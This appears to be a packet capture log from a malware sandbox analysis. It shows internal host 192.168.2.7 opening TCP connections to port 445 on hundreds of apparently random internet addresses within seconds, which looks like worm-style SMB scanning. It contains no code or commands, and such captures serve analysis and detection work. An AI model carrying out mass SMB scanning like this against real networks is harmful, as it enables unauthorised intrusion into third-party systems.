Jul 20, 2022 15:46:34.803508997 CEST	57458	445	192.168.2.7	173.129.53.222
Jul 20, 2022 15:46:34.805871010 CEST	57462	445	192.168.2.7	115.43.123.212
Jul 20, 2022 15:46:34.807878017 CEST	57466	445	192.168.2.7	50.11.24.174
Jul 20, 2022 15:46:34.808470011 CEST	57467	445	192.168.2.7	66.73.123.74
Jul 20, 2022 15:46:34.809427977 CEST	57468	445	192.168.2.7	168.55.68.236
Jul 20, 2022 15:46:34.811229944 CEST	57471	445	192.168.2.7	181.7.30.83
Jul 20, 2022 15:46:34.860204935 CEST	57474	445	192.168.2.7	161.52.0.156
Jul 20, 2022 15:46:34.880542040 CEST	57478	445	192.168.2.7	100.72.111.61
Jul 20, 2022 15:46:34.988496065 CEST	57480	445	192.168.2.7	105.122.85.46
Jul 20, 2022 15:46:35.014950991 CEST	57487	445	192.168.2.7	15.200.79.157
Jul 20, 2022 15:46:35.015219927 CEST	57495	445	192.168.2.7	199.187.162.70
Jul 20, 2022 15:46:35.015242100 CEST	57494	445	192.168.2.7	11.171.0.54
Jul 20, 2022 15:46:35.017935991 CEST	57501	445	192.168.2.7	82.37.102.89
Jul 20, 2022 15:46:35.018053055 CEST	57502	445	192.168.2.7	63.38.84.62
Jul 20, 2022 15:46:35.018341064 CEST	57508	445	192.168.2.7	65.79.209.75
Jul 20, 2022 15:46:35.018482924 CEST	57510	445	192.168.2.7	39.124.171.59
Jul 20, 2022 15:46:35.018609047 CEST	57511	445	192.168.2.7	138.123.189.91
Jul 20, 2022 15:46:35.185041904 CEST	445	57495	199.187.162.70	192.168.2.7
Jul 20, 2022 15:46:35.346059084 CEST	57516	445	192.168.2.7	188.18.139.88
Jul 20, 2022 15:46:35.486052990 CEST	57518	445	192.168.2.7	43.85.104.52
Jul 20, 2022 15:46:35.486721992 CEST	57519	445	192.168.2.7	132.36.110.67
Jul 20, 2022 15:46:35.490123987 CEST	57524	445	192.168.2.7	196.127.154.103
Jul 20, 2022 15:46:35.490823984 CEST	57525	445	192.168.2.7	44.111.30.165
Jul 20, 2022 15:46:35.492139101 CEST	57526	445	192.168.2.7	196.171.51.199
Jul 20, 2022 15:46:35.492386103 CEST	57527	445	192.168.2.7	174.202.80.85
Jul 20, 2022 15:46:35.494417906 CEST	57530	445	192.168.2.7	136.220.170.223
Jul 20, 2022 15:46:35.495156050 CEST	57531	445	192.168.2.7	134.0.239.182
Jul 20, 2022 15:46:35.496509075 CEST	57533	445	192.168.2.7	209.54.16.231
Jul 20, 2022 15:46:35.765569925 CEST	57495	445	192.168.2.7	199.187.162.70
Jul 20, 2022 15:46:35.932173967 CEST	445	57495	199.187.162.70	192.168.2.7
Jul 20, 2022 15:46:35.982995987 CEST	57548	445	192.168.2.7	102.153.152.245
Jul 20, 2022 15:46:35.983071089 CEST	57549	445	192.168.2.7	56.234.51.251
Jul 20, 2022 15:46:35.983141899 CEST	57550	445	192.168.2.7	155.157.103.0
Jul 20, 2022 15:46:35.983336926 CEST	57553	445	192.168.2.7	11.164.164.182
Jul 20, 2022 15:46:35.983581066 CEST	57558	445	192.168.2.7	103.176.22.89
Jul 20, 2022 15:46:35.983747005 CEST	57559	445	192.168.2.7	203.97.252.146
Jul 20, 2022 15:46:35.983865023 CEST	57560	445	192.168.2.7	98.3.187.172
Jul 20, 2022 15:46:35.983988047 CEST	57563	445	192.168.2.7	180.171.42.233
Jul 20, 2022 15:46:35.987232924 CEST	57567	445	192.168.2.7	96.239.144.248
Jul 20, 2022 15:46:36.163372993 CEST	57571	445	192.168.2.7	58.218.64.193
Jul 20, 2022 15:46:36.164222002 CEST	57572	445	192.168.2.7	114.141.192.168
Jul 20, 2022 15:46:36.210926056 CEST	445	57558	103.176.22.89	192.168.2.7
Jul 20, 2022 15:46:36.266304970 CEST	57573	445	192.168.2.7	68.202.148.46
Jul 20, 2022 15:46:36.266808033 CEST	57574	445	192.168.2.7	143.176.26.239
Jul 20, 2022 15:46:36.270638943 CEST	57580	445	192.168.2.7	206.155.154.162
Jul 20, 2022 15:46:36.271979094 CEST	57582	445	192.168.2.7	24.153.115.0
Jul 20, 2022 15:46:36.272842884 CEST	57583	445	192.168.2.7	88.162.189.183
Jul 20, 2022 15:46:36.279988050 CEST	57594	445	192.168.2.7	222.146.141.26
Jul 20, 2022 15:46:36.310106993 CEST	57600	445	192.168.2.7	99.46.109.198
Jul 20, 2022 15:46:36.311342001 CEST	57601	445	192.168.2.7	195.65.208.253
Jul 20, 2022 15:46:36.427563906 CEST	57608	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:36.515017986 CEST	445	57608	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:36.515244961 CEST	57608	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:36.515419006 CEST	57608	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:36.550143003 CEST	57610	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:36.598846912 CEST	445	57608	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:36.607806921 CEST	445	57608	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:36.607997894 CEST	57608	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:36.610403061 CEST	57611	445	192.168.2.7	191.244.74.103
Jul 20, 2022 15:46:36.611277103 CEST	57612	445	192.168.2.7	57.102.13.232
Jul 20, 2022 15:46:36.614625931 CEST	57617	445	192.168.2.7	199.249.11.8
Jul 20, 2022 15:46:36.615346909 CEST	57618	445	192.168.2.7	72.168.110.160
Jul 20, 2022 15:46:36.616101027 CEST	57619	445	192.168.2.7	172.182.85.108
Jul 20, 2022 15:46:36.616849899 CEST	57620	445	192.168.2.7	211.130.85.170
Jul 20, 2022 15:46:36.619024038 CEST	57623	445	192.168.2.7	140.126.82.12
Jul 20, 2022 15:46:36.619786024 CEST	57624	445	192.168.2.7	153.231.251.161
Jul 20, 2022 15:46:36.621552944 CEST	57626	445	192.168.2.7	174.129.247.87
Jul 20, 2022 15:46:36.635740042 CEST	445	57610	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:36.635960102 CEST	57610	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:36.636190891 CEST	57610	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:36.718792915 CEST	57558	445	192.168.2.7	103.176.22.89
Jul 20, 2022 15:46:36.719734907 CEST	445	57610	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:36.727716923 CEST	445	57610	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:36.727976084 CEST	57610	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:36.816778898 CEST	445	57610	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:36.817070007 CEST	57610	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:36.903898954 CEST	445	57610	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:36.904206991 CEST	57610	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:36.945894003 CEST	445	57558	103.176.22.89	192.168.2.7
Jul 20, 2022 15:46:36.987786055 CEST	445	57610	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:36.996726036 CEST	57610	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:37.000058889 CEST	56971	445	192.168.2.7	149.20.139.3
Jul 20, 2022 15:46:37.018290997 CEST	57636	445	192.168.2.7	107.186.141.42
Jul 20, 2022 15:46:37.084048033 CEST	445	57610	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:37.084199905 CEST	57610	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:37.111862898 CEST	57640	445	192.168.2.7	124.149.134.254
Jul 20, 2022 15:46:37.113476038 CEST	57643	445	192.168.2.7	157.92.230.205
Jul 20, 2022 15:46:37.115570068 CEST	57647	445	192.168.2.7	153.183.119.60
Jul 20, 2022 15:46:37.117049932 CEST	57648	445	192.168.2.7	188.85.144.2
Jul 20, 2022 15:46:37.117803097 CEST	57649	445	192.168.2.7	111.114.145.166
Jul 20, 2022 15:46:37.120388985 CEST	57653	445	192.168.2.7	96.36.180.73
Jul 20, 2022 15:46:37.134459019 CEST	57657	445	192.168.2.7	217.232.148.153
Jul 20, 2022 15:46:37.136040926 CEST	57658	445	192.168.2.7	71.224.160.67
Jul 20, 2022 15:46:37.136183977 CEST	57660	445	192.168.2.7	67.26.221.7
Jul 20, 2022 15:46:37.188430071 CEST	445	57636	107.186.141.42	192.168.2.7
Jul 20, 2022 15:46:37.188627005 CEST	57636	445	192.168.2.7	107.186.141.42
Jul 20, 2022 15:46:37.188766956 CEST	57636	445	192.168.2.7	107.186.141.42
Jul 20, 2022 15:46:37.284461021 CEST	57665	445	192.168.2.7	159.173.139.235
Jul 20, 2022 15:46:37.284533978 CEST	57666	445	192.168.2.7	121.54.192.243
Jul 20, 2022 15:46:37.358302116 CEST	445	57636	107.186.141.42	192.168.2.7
Jul 20, 2022 15:46:37.358486891 CEST	57636	445	192.168.2.7	107.186.141.42
Jul 20, 2022 15:46:37.392221928 CEST	57667	445	192.168.2.7	42.0.186.46
Jul 20, 2022 15:46:37.393460989 CEST	57668	445	192.168.2.7	37.141.77.45
Jul 20, 2022 15:46:37.397104979 CEST	57673	445	192.168.2.7	41.7.119.38
Jul 20, 2022 15:46:37.399454117 CEST	57676	445	192.168.2.7	218.105.208.101
Jul 20, 2022 15:46:37.400357008 CEST	57677	445	192.168.2.7	98.135.123.86
Jul 20, 2022 15:46:37.408018112 CEST	57688	445	192.168.2.7	6.123.182.140
Jul 20, 2022 15:46:37.427580118 CEST	57694	445	192.168.2.7	45.82.125.192
Jul 20, 2022 15:46:37.434262991 CEST	57695	445	192.168.2.7	191.22.200.24
Jul 20, 2022 15:46:37.528646946 CEST	445	57636	107.186.141.42	192.168.2.7
Jul 20, 2022 15:46:37.528913975 CEST	57636	445	192.168.2.7	107.186.141.42
Jul 20, 2022 15:46:37.699747086 CEST	445	57636	107.186.141.42	192.168.2.7
Jul 20, 2022 15:46:37.735094070 CEST	57704	445	192.168.2.7	177.103.136.32
Jul 20, 2022 15:46:37.735625029 CEST	57705	445	192.168.2.7	7.119.236.137
Jul 20, 2022 15:46:37.738512993 CEST	57710	445	192.168.2.7	211.52.72.229
Jul 20, 2022 15:46:37.739119053 CEST	57711	445	192.168.2.7	130.64.7.61
Jul 20, 2022 15:46:37.739623070 CEST	57712	445	192.168.2.7	50.244.213.181
Jul 20, 2022 15:46:37.740197897 CEST	57713	445	192.168.2.7	166.249.133.103
Jul 20, 2022 15:46:37.741621017 CEST	57716	445	192.168.2.7	140.89.94.52
Jul 20, 2022 15:46:37.742134094 CEST	57717	445	192.168.2.7	27.51.53.114
Jul 20, 2022 15:46:37.743000031 CEST	57719	445	192.168.2.7	67.106.45.201
Jul 20, 2022 15:46:37.767102003 CEST	57724	445	192.168.2.7	107.186.141.43
Jul 20, 2022 15:46:37.940807104 CEST	445	57724	107.186.141.43	192.168.2.7
Jul 20, 2022 15:46:37.940968990 CEST	57724	445	192.168.2.7	107.186.141.43
Jul 20, 2022 15:46:37.941088915 CEST	57724	445	192.168.2.7	107.186.141.43
Jul 20, 2022 15:46:37.944757938 CEST	57728	445	192.168.2.7	107.186.141.43
Jul 20, 2022 15:46:38.111638069 CEST	445	57724	107.186.141.43	192.168.2.7
Jul 20, 2022 15:46:38.111676931 CEST	445	57724	107.186.141.43	192.168.2.7
Jul 20, 2022 15:46:38.113713980 CEST	445	57728	107.186.141.43	192.168.2.7
Jul 20, 2022 15:46:38.113806009 CEST	57728	445	192.168.2.7	107.186.141.43
Jul 20, 2022 15:46:38.114017010 CEST	57728	445	192.168.2.7	107.186.141.43
Jul 20, 2022 15:46:38.238946915 CEST	57734	445	192.168.2.7	17.105.247.229
Jul 20, 2022 15:46:38.240567923 CEST	57737	445	192.168.2.7	119.107.244.60
Jul 20, 2022 15:46:38.243104935 CEST	57741	445	192.168.2.7	157.137.119.13
Jul 20, 2022 15:46:38.244532108 CEST	57742	445	192.168.2.7	63.61.127.200
Jul 20, 2022 15:46:38.245467901 CEST	57743	445	192.168.2.7	143.193.141.154
Jul 20, 2022 15:46:38.248084068 CEST	57747	445	192.168.2.7	54.235.15.188
Jul 20, 2022 15:46:38.273415089 CEST	57751	445	192.168.2.7	35.207.83.127
Jul 20, 2022 15:46:38.274101019 CEST	57752	445	192.168.2.7	68.243.182.19
Jul 20, 2022 15:46:38.276529074 CEST	57755	445	192.168.2.7	7.99.114.91
Jul 20, 2022 15:46:38.283220053 CEST	445	57728	107.186.141.43	192.168.2.7
Jul 20, 2022 15:46:38.289777040 CEST	57728	445	192.168.2.7	107.186.141.43
Jul 20, 2022 15:46:38.434858084 CEST	57759	445	192.168.2.7	77.86.172.143
Jul 20, 2022 15:46:38.436851025 CEST	57760	445	192.168.2.7	44.219.167.194
Jul 20, 2022 15:46:38.458884954 CEST	445	57728	107.186.141.43	192.168.2.7
Jul 20, 2022 15:46:38.459134102 CEST	57728	445	192.168.2.7	107.186.141.43
Jul 20, 2022 15:46:38.518042088 CEST	57761	445	192.168.2.7	115.21.163.20
Jul 20, 2022 15:46:38.518857002 CEST	57762	445	192.168.2.7	37.83.239.95
Jul 20, 2022 15:46:38.523955107 CEST	57767	445	192.168.2.7	9.50.143.122
Jul 20, 2022 15:46:38.538434029 CEST	57770	445	192.168.2.7	46.199.213.192
Jul 20, 2022 15:46:38.538804054 CEST	57771	445	192.168.2.7	111.154.67.16
Jul 20, 2022 15:46:38.549736977 CEST	57783	445	192.168.2.7	125.208.62.239
Jul 20, 2022 15:46:38.552504063 CEST	57786	445	192.168.2.7	108.141.167.95
Jul 20, 2022 15:46:38.564378977 CEST	57789	445	192.168.2.7	25.238.64.0
Jul 20, 2022 15:46:38.628187895 CEST	445	57728	107.186.141.43	192.168.2.7
Jul 20, 2022 15:46:38.862184048 CEST	57802	445	192.168.2.7	42.213.19.142
Jul 20, 2022 15:46:38.862345934 CEST	57804	445	192.168.2.7	209.236.65.96
Jul 20, 2022 15:46:38.862370014 CEST	57808	445	192.168.2.7	203.216.220.223
Jul 20, 2022 15:46:38.862427950 CEST	57807	445	192.168.2.7	114.118.123.49
Jul 20, 2022 15:46:38.862517118 CEST	57810	445	192.168.2.7	77.195.147.219
Jul 20, 2022 15:46:38.862576962 CEST	57811	445	192.168.2.7	116.94.18.28
Jul 20, 2022 15:46:38.862580061 CEST	57809	445	192.168.2.7	197.212.52.218
Jul 20, 2022 15:46:38.862818003 CEST	57817	445	192.168.2.7	66.100.163.149
Jul 20, 2022 15:46:39.361380100 CEST	57826	445	192.168.2.7	83.239.191.3
Jul 20, 2022 15:46:39.363064051 CEST	57829	445	192.168.2.7	52.26.38.205
Jul 20, 2022 15:46:39.365686893 CEST	57833	445	192.168.2.7	168.104.41.121
Jul 20, 2022 15:46:39.366214991 CEST	57834	445	192.168.2.7	9.165.67.52
Jul 20, 2022 15:46:39.367007971 CEST	57835	445	192.168.2.7	211.204.89.76
Jul 20, 2022 15:46:39.368675947 CEST	57839	445	192.168.2.7	20.170.23.135
Jul 20, 2022 15:46:39.423149109 CEST	57842	445	192.168.2.7	147.41.76.8
Jul 20, 2022 15:46:39.424787998 CEST	57845	445	192.168.2.7	194.131.46.50
Jul 20, 2022 15:46:39.425328970 CEST	57846	445	192.168.2.7	195.155.80.190
Jul 20, 2022 15:46:39.551170111 CEST	57851	445	192.168.2.7	108.162.117.117
Jul 20, 2022 15:46:39.552007914 CEST	57852	445	192.168.2.7	153.39.122.37
Jul 20, 2022 15:46:39.644335032 CEST	57854	445	192.168.2.7	182.184.104.110
Jul 20, 2022 15:46:39.647384882 CEST	57857	445	192.168.2.7	91.250.111.190
Jul 20, 2022 15:46:39.647641897 CEST	57859	445	192.168.2.7	160.82.156.230
Jul 20, 2022 15:46:39.661258936 CEST	57865	445	192.168.2.7	26.195.246.162
Jul 20, 2022 15:46:39.661361933 CEST	57869	445	192.168.2.7	132.89.43.51
Jul 20, 2022 15:46:39.674590111 CEST	57875	445	192.168.2.7	192.77.242.231
Jul 20, 2022 15:46:39.676034927 CEST	57878	445	192.168.2.7	64.228.9.93
Jul 20, 2022 15:46:39.688559055 CEST	57882	445	192.168.2.7	47.229.56.175
Jul 20, 2022 15:46:39.988154888 CEST	57895	445	192.168.2.7	124.222.6.119
Jul 20, 2022 15:46:39.988234043 CEST	57897	445	192.168.2.7	27.227.13.215
Jul 20, 2022 15:46:39.988317966 CEST	57900	445	192.168.2.7	216.118.253.93
Jul 20, 2022 15:46:39.988347054 CEST	57901	445	192.168.2.7	124.132.124.188
Jul 20, 2022 15:46:39.988460064 CEST	57902	445	192.168.2.7	11.30.198.3
Jul 20, 2022 15:46:39.988537073 CEST	57903	445	192.168.2.7	88.179.68.82
Jul 20, 2022 15:46:39.988574028 CEST	57904	445	192.168.2.7	96.225.68.9
Jul 20, 2022 15:46:39.988735914 CEST	57909	445	192.168.2.7	170.177.4.229
Jul 20, 2022 15:46:39.988739014 CEST	57910	445	192.168.2.7	200.100.80.215
Jul 20, 2022 15:46:40.002466917 CEST	57911	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:40.090523958 CEST	445	57911	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:40.090707064 CEST	57911	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:40.090878963 CEST	57911	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:40.181170940 CEST	445	57911	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:40.189364910 CEST	445	57911	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:40.189666986 CEST	57911	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:40.278372049 CEST	445	57911	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:40.278683901 CEST	57911	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:40.370359898 CEST	445	57911	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:40.370573997 CEST	57911	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:40.458425045 CEST	445	57911	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:40.483858109 CEST	57911	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:40.486617088 CEST	57920	445	192.168.2.7	16.155.177.247
Jul 20, 2022 15:46:40.488755941 CEST	57923	445	192.168.2.7	137.36.216.12
Jul 20, 2022 15:46:40.491424084 CEST	57927	445	192.168.2.7	149.82.253.69
Jul 20, 2022 15:46:40.492084026 CEST	57928	445	192.168.2.7	92.184.20.202
Jul 20, 2022 15:46:40.493134975 CEST	57929	445	192.168.2.7	211.32.136.9
Jul 20, 2022 15:46:40.495872021 CEST	57933	445	192.168.2.7	6.102.185.192
Jul 20, 2022 15:46:40.535190105 CEST	57937	445	192.168.2.7	60.116.59.177
Jul 20, 2022 15:46:40.536573887 CEST	57938	445	192.168.2.7	130.133.100.75
Jul 20, 2022 15:46:40.537252903 CEST	57940	445	192.168.2.7	145.86.56.108
Jul 20, 2022 15:46:40.574342012 CEST	445	57911	188.18.139.89	192.168.2.7
Jul 20, 2022 15:46:40.574508905 CEST	57911	445	192.168.2.7	188.18.139.89
Jul 20, 2022 15:46:40.599663019 CEST	57942	445	192.168.2.7	188.18.139.90
Jul 20, 2022 15:46:40.705456018 CEST	57945	445	192.168.2.7	205.64.114.192
Jul 20, 2022 15:46:40.706100941 CEST	57946	445	192.168.2.7	115.136.138.197
Jul 20, 2022 15:46:40.757663965 CEST	57948	445	192.168.2.7	120.215.194.228
Jul 20, 2022 15:46:40.757822037 CEST	57953	445	192.168.2.7	74.149.2.203
Jul 20, 2022 15:46:40.757850885 CEST	57954	445	192.168.2.7	168.170.174.29
Jul 20, 2022 15:46:40.783319950 CEST	57955	445	192.168.2.7	14.224.114.167
Jul 20, 2022 15:46:40.786025047 CEST	57959	445	192.168.2.7	197.98.235.84
Jul 20, 2022 15:46:40.799840927 CEST	57970	445	192.168.2.7	102.108.191.46
Jul 20, 2022 15:46:40.801697016 CEST	57973	445	192.168.2.7	157.23.173.229
Jul 20, 2022 15:46:40.823519945 CEST	57977	445	192.168.2.7	73.111.234.220
Jul 20, 2022 15:46:41.111846924 CEST	57990	445	192.168.2.7	218.13.240.3
Jul 20, 2022 15:46:41.112656116 CEST	57991	445	192.168.2.7	192.227.248.52
Jul 20, 2022 15:46:41.124114990 CEST	57995	445	192.168.2.7	87.38.163.140
Jul 20, 2022 15:46:41.124236107 CEST	57997	445	192.168.2.7	63.191.0.174
Jul 20, 2022 15:46:41.124311924 CEST	57998	445	192.168.2.7	65.50.17.198
Jul 20, 2022 15:46:41.124456882 CEST	57999	445	192.168.2.7	206.50.236.82
Jul 20, 2022 15:46:41.124506950 CEST	58000	445	192.168.2.7	6.15.162.51
Jul 20, 2022 15:46:41.124555111 CEST	58001	445	192.168.2.7	4.120.213.217
Jul 20, 2022 15:46:41.124736071 CEST	58004	445	192.168.2.7	63.250.189.54
Jul 20, 2022 15:46:41.611946106 CEST	58014	445	192.168.2.7	35.233.100.169
Jul 20, 2022 15:46:41.613435984 CEST	58017	445	192.168.2.7	184.15.250.174
Jul 20, 2022 15:46:41.617465973 CEST	58022	445	192.168.2.7	1.37.148.163
Jul 20, 2022 15:46:41.617508888 CEST	58021	445	192.168.2.7	95.229.41.155
Jul 20, 2022 15:46:41.617604017 CEST	58023	445	192.168.2.7	21.103.39.145
Jul 20, 2022 15:46:41.617901087 CEST	58027	445	192.168.2.7	55.224.8.122
Jul 20, 2022 15:46:41.644092083 CEST	58032	445	192.168.2.7	153.235.70.50
Jul 20, 2022 15:46:41.644181967 CEST	58033	445	192.168.2.7	16.205.140.167
Jul 20, 2022 15:46:41.644269943 CEST	58031	445	192.168.2.7	107.186.141.43
Jul 20, 2022 15:46:41.644277096 CEST	58035	445	192.168.2.7	91.242.128.17
Jul 20, 2022 15:46:41.673057079 CEST	58037	445	192.168.2.7	188.18.139.91
Jul 20, 2022 15:46:41.815522909 CEST	445	58031	107.186.141.43	192.168.2.7
Jul 20, 2022 15:46:41.815689087 CEST	58031	445	192.168.2.7	107.186.141.43
Jul 20, 2022 15:46:41.819876909 CEST	58031	445	192.168.2.7	107.186.141.43
Jul 20, 2022 15:46:41.830631971 CEST	58041	445	192.168.2.7	154.100.47.5
Jul 20, 2022 15:46:41.831809044 CEST	58043	445	192.168.2.7	155.180.176.235
Jul 20, 2022 15:46:41.878935099 CEST	58047	445	192.168.2.7	94.36.160.206
Jul 20, 2022 15:46:41.880561113 CEST	58048	445	192.168.2.7	221.192.113.179
Jul 20, 2022 15:46:41.881119013 CEST	58049	445	192.168.2.7	136.159.165.203
Jul 20, 2022 15:46:41.913857937 CEST	58058	445	192.168.2.7	54.232.107.49
Jul 20, 2022 15:46:41.932512999 CEST	58062	445	192.168.2.7	169.25.172.5
Jul 20, 2022 15:46:41.932715893 CEST	58063	445	192.168.2.7	8.149.156.164
Jul 20, 2022 15:46:41.932918072 CEST	58066	445	192.168.2.7	189.119.160.80
Jul 20, 2022 15:46:41.933053017 CEST	58071	445	192.168.2.7	90.239.204.173
Jul 20, 2022 15:46:41.991462946 CEST	445	58031	107.186.141.43	192.168.2.7
Jul 20, 2022 15:46:41.991673946 CEST	58031	445	192.168.2.7	107.186.141.43
Jul 20, 2022 15:46:42.163163900 CEST	445	58031	107.186.141.43	192.168.2.7
Jul 20, 2022 15:46:42.163381100 CEST	58031	445	192.168.2.7	107.186.141.43
Jul 20, 2022 15:46:42.236654997 CEST	58086	445	192.168.2.7	92.162.45.193
Jul 20, 2022 15:46:42.237329960 CEST	58087	445	192.168.2.7	14.175.164.135
Jul 20, 2022 15:46:42.274270058 CEST	58092	445	192.168.2.7	215.63.59.4
Jul 20, 2022 15:46:42.274393082 CEST	58094	445	192.168.2.7	131.76.85.161
Jul 20, 2022 15:46:42.274406910 CEST	58093	445	192.168.2.7	199.246.164.118
Jul 20, 2022 15:46:42.274477005 CEST	58095	445	192.168.2.7	159.54.120.246
Jul 20, 2022 15:46:42.274606943 CEST	58096	445	192.168.2.7	98.163.208.25
Jul 20, 2022 15:46:42.274791956 CEST	58100	445	192.168.2.7	65.188.2.93
Jul 20, 2022 15:46:42.274817944 CEST	58097	445	192.168.2.7	55.161.142.215
Jul 20, 2022 15:46:42.335087061 CEST	445	58031	107.186.141.43	192.168.2.7
Jul 20, 2022 15:46:42.395052910 CEST	58105	445	192.168.2.7	107.186.141.44
Jul 20, 2022 15:46:42.564642906 CEST	445	58105	107.186.141.44	192.168.2.7
Jul 20, 2022 15:46:42.564810038 CEST	58105	445	192.168.2.7	107.186.141.44
Jul 20, 2022 15:46:42.564949989 CEST	58105	445	192.168.2.7	107.186.141.44
Jul 20, 2022 15:46:42.568011999 CEST	58107	445	192.168.2.7	107.186.141.44
Jul 20, 2022 15:46:42.735491037 CEST	445	58105	107.186.141.44	192.168.2.7
Jul 20, 2022 15:46:42.735519886 CEST	445	58105	107.186.141.44	192.168.2.7
Jul 20, 2022 15:46:42.736241102 CEST	58111	445	192.168.2.7	82.203.161.18
Jul 20, 2022 15:46:42.740381002 CEST	58117	445	192.168.2.7	202.55.170.234
Jul 20, 2022 15:46:42.741195917 CEST	445	58107	107.186.141.44	192.168.2.7
Jul 20, 2022 15:46:42.741280079 CEST	58118	445	192.168.2.7	148.143.226.81
Jul 20, 2022 15:46:42.741314888 CEST	58107	445	192.168.2.7	107.186.141.44
Jul 20, 2022 15:46:42.741444111 CEST	58107	445	192.168.2.7	107.186.141.44
Jul 20, 2022 15:46:42.742244005 CEST	58119	445	192.168.2.7	116.4.228.104
Jul 20, 2022 15:46:42.747181892 CEST	58123	445	192.168.2.7	85.180.169.97
Jul 20, 2022 15:46:42.747415066 CEST	58126	445	192.168.2.7	5.24.110.120
Jul 20, 2022 15:46:42.751759052 CEST	58128	445	192.168.2.7	188.18.139.92
Jul 20, 2022 15:46:42.785317898 CEST	58130	445	192.168.2.7	107.206.203.29
Jul 20, 2022 15:46:42.785619974 CEST	58131	445	192.168.2.7	166.23.246.243
Jul 20, 2022 15:46:42.785684109 CEST	58133	445	192.168.2.7	118.159.76.244
Jul 20, 2022 15:46:42.915245056 CEST	445	58107	107.186.141.44	192.168.2.7
Jul 20, 2022 15:46:42.915452003 CEST	58107	445	192.168.2.7	107.186.141.44
Jul 20, 2022 15:46:42.955598116 CEST	58137	445	192.168.2.7	71.60.133.39
Jul 20, 2022 15:46:42.956959963 CEST	58139	445	192.168.2.7	4.1.110.39
Jul 20, 2022 15:46:43.012650967 CEST	58144	445	192.168.2.7	106.122.25.127
Jul 20, 2022 15:46:43.013195992 CEST	58145	445	192.168.2.7	128.68.0.77
Jul 20, 2022 15:46:43.013726950 CEST	58146	445	192.168.2.7	11.148.133.193
Jul 20, 2022 15:46:43.041016102 CEST	58158	445	192.168.2.7	196.36.165.239
Jul 20, 2022 15:46:43.048386097 CEST	58159	445	192.168.2.7	55.139.205.79
Jul 20, 2022 15:46:43.049005032 CEST	58160	445	192.168.2.7	204.189.232.145
Jul 20, 2022 15:46:43.050582886 CEST	58163	445	192.168.2.7	67.5.91.222
Jul 20, 2022 15:46:43.053669930 CEST	58169	445	192.168.2.7	19.126.141.111
Jul 20, 2022 15:46:43.091443062 CEST	445	58107	107.186.141.44	192.168.2.7
Jul 20, 2022 15:46:43.103648901 CEST	58107	445	192.168.2.7	107.186.141.44
Jul 20, 2022 15:46:43.277184963 CEST	445	58107	107.186.141.44	192.168.2.7
Jul 20, 2022 15:46:43.346987963 CEST	58183	445	192.168.2.7	164.154.248.4
Jul 20, 2022 15:46:43.347282887 CEST	58186	445	192.168.2.7	116.200.151.156
Jul 20, 2022 15:46:43.753729105 CEST	58190	445	192.168.2.7	201.154.210.211
Jul 20, 2022 15:46:43.753861904 CEST	58191	445	192.168.2.7	110.241.237.20
Jul 20, 2022 15:46:43.753937006 CEST	58192	445	192.168.2.7	158.55.205.227
Jul 20, 2022 15:46:43.754004002 CEST	58193	445	192.168.2.7	117.250.177.236
Jul 20, 2022 15:46:43.754049063 CEST	58189	445	192.168.2.7	47.4.101.73
Jul 20, 2022 15:46:43.754084110 CEST	58194	445	192.168.2.7	77.123.113.62
Jul 20, 2022 15:46:43.754220963 CEST	58197	445	192.168.2.7	154.85.79.136
Jul 20, 2022 15:46:43.858501911 CEST	58203	445	192.168.2.7	188.18.139.93
Jul 20, 2022 15:46:43.864100933 CEST	58210	445	192.168.2.7	37.176.8.96
Jul 20, 2022 15:46:43.864618063 CEST	58211	445	192.168.2.7	23.76.222.125
Jul 20, 2022 15:46:43.865247011 CEST	58212	445	192.168.2.7	122.42.175.46
Jul 20, 2022 15:46:43.867033005 CEST	58216	445	192.168.2.7	194.109.51.220
Jul 20, 2022 15:46:43.868782043 CEST	58219	445	192.168.2.7	87.54.7.140
Jul 20, 2022 15:46:43.948232889 CEST	445	58203	188.18.139.93	192.168.2.7
Jul 20, 2022 15:46:43.972728014 CEST	58227	445	192.168.2.7	92.157.83.34
Jul 20, 2022 15:46:43.973218918 CEST	58228	445	192.168.2.7	101.26.80.97
Jul 20, 2022 15:46:43.974262953 CEST	58230	445	192.168.2.7	20.2.105.189
Jul 20, 2022 15:46:44.079904079 CEST	58233	445	192.168.2.7	179.225.72.214
Jul 20, 2022 15:46:44.082531929 CEST	58235	445	192.168.2.7	219.51.233.23
Jul 20, 2022 15:46:44.186496019 CEST	58240	445	192.168.2.7	63.152.28.104
Jul 20, 2022 15:46:44.187011003 CEST	58241	445	192.168.2.7	218.109.117.85
Jul 20, 2022 15:46:44.187515974 CEST	58242	445	192.168.2.7	208.220.96.21
Jul 20, 2022 15:46:44.189852953 CEST	58244	445	192.168.2.7	4.65.67.110
